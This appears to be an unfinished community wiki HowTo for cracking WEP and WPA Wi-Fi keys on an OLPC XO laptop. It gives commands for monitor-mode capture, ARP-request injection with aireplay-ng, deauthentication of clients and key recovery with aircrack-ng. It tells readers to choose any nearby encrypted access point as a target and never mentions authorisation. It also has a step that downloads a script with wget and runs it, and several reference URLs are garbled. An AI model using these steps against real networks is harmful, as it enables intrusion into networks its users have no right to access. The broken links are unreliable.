Wireless network hacking

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HowTo [ID# 168211]  +/-

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These instructions describe how to test wireless networks for security holes and how to use the various security softwares with the XO OLPC. However, great care should be taken in using these tools and software as they may brick your XO in the worst case or considerably bloat your configuration. (Especially when saving large data files...)

Updating Your Software/Firmware

Check General Firmware

http://wiki.laptop.org/go/Firmware
http://wiki.laptop.org/go/Upgrading_the_firmware

to do

Check Wireless Firmware

Check that you have a recent version of the wireless firmware by following these instructions: http://wiki.laptop.org/go/Test_Config_Notes#Update_the_wireless_firmware

Install security related software

In order to continue we need some network tools:

• wireshark - Is the world's foremost network protocol analyzer (formerly known as Ethereal)
• kismet - Is a 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
• aircrack-ng - Is a 802.11 WEP/WPA-PSK key cracking program that can recover keys from enough captured data packets
• nessus - Is a well known network vulnerability scanner
• bind-utils - Is a collection of utilities for querying name servers and looking up hosts.
• traceroute - is a computer network tool used to determine the route taken by packets across an IP network.

We can install all of these in one go (in the terminal application):

su
yum install wireshark wireshark-gnome kismet aircrack-ng nessus bind-utils traceroute

Configuration of Network Tools

to do

Performing the Analysis

Find a target network

Press the Mesh button and inspect any interesting access point (AP). Any AP with a padlock on it is encrypted in one way or another. These are the ones suited for a WEP/WPA crack.

Collect Network data

Next we need to collect packet data. The way to do this is by enabling tcpdump or wireshark. However, because of some non standard wireless chipsets, we need to do the following:

Could someone confirm that this is necessary? 
ifconfig msh0 down ifconfig eth0 down killall NetworkManager 
perhaps it would be more stylish to stop the service instead??: 
/sbin/service NetworkManager stop
Activate monitor mode on the Marvell chipset:  
export TRAFFIC_MASK=0x7 echo $TRAFFIC_MASK > /sys/class/net/eth0/device/libertas_rtap ifconfig rtap0 up 

• note: it seems that on joyride 1772 the file is /sys/class/net/eth0/lbs_rtap* and changing the TRAFFIC_MASK to 0x0 sets it back to normal mode from monitor mode. Start dumping the data:

There is another version of this in the wireshark manual with "s 1500" instead... 
tcpdump -s 128 -i rtap0 -w datadump.cap* 

also airodump seems to work okay, part of the aircrack-ng package in the olpc repository* #

airodump-ng --write [dumpfile] rtap0

Then we need to restore everything for normal operation (something mostly forgotten in other descriptions.)

ifconfig rtap0 down /sbin/service NetworkManager start 
ifconfig msh0 up ifconfig eth0 up* 

remember to echo 0x0 to your /sys/class/net/eth0/lbs_rtap file to disable monitor mode

However this is not at all obvious to what all this means, and in addition it is a great risk that you crash your XO. So rather use this script, like this:still to do 

su wget http://..../capture.sh 
chmod +x capture.sh 
./capture.sh

Generate extra packets

By using aireplay-ng, we can generate extra packets in a short time, by injecting bogus ARP requests.In this examples we will use: 00:11:22:33:44:55 AP 00:66:77:88:99:AA client. The command is something like:

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0

Cracking a WEP key

Follow the instructions at this page: http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks TODO: We should write a short distillation of that wiki here.

Using aircrack-ng:

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0

Start another console session and enter:

aircrack-ng -z -b 00:11:22:33:44:55 output*.cap    

using the PTW WEP-cracking method

aircrack-ng -b 00:11:22:33:44:55 output*.cap       

using the FMS/Korek methodUsing the FMS/Korek method you will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128bit keys. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets.

Cracking a WPA key

Execute the following command in the terminal application while there is a client successfully connected to the wireless access point:

aireplay -0 5 -a <AP MAC> -c <Client MAC> ath0

Cracking a MESH network

to do

Airtime analysis

For checking how much of the medium a give type of traffic is consuming, check this page

For More Info

http://wiki.laptop.org/go/Wireless_Driver_README
http://wiki.laptop.org/go/88W8388
http://wiki.laptop.org/go/Wireless#Capturing_wireless_traffic_on_the_xo
(Trac #4805) 
http://lists.infradead.org/pipermail/libertas-dev/2007-July/000607.html
http://lists.infradead.org/pipermail/libertas-dev/2007-December/001003.html
http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Linux.Wireless.drivers.802.11ag.html
http://www.olpcnews.com/forum/index.php?topic=814.msg13043;topicseen

References:

http://www.wireshark.org/
http://www.kismetwireless.net/
http://www.aircrackfff-ng.org/doku.php
http://www.nessus.org/nessus/
http://www.tcpdump.org/tcpdump_man.html 

http://www.freebsrtyd.org/cgi/man.cgi?query=traceroute
To check what's irtyrn the default installation: 
http://dev.laptop.org/~bert/joyride-pkgs.html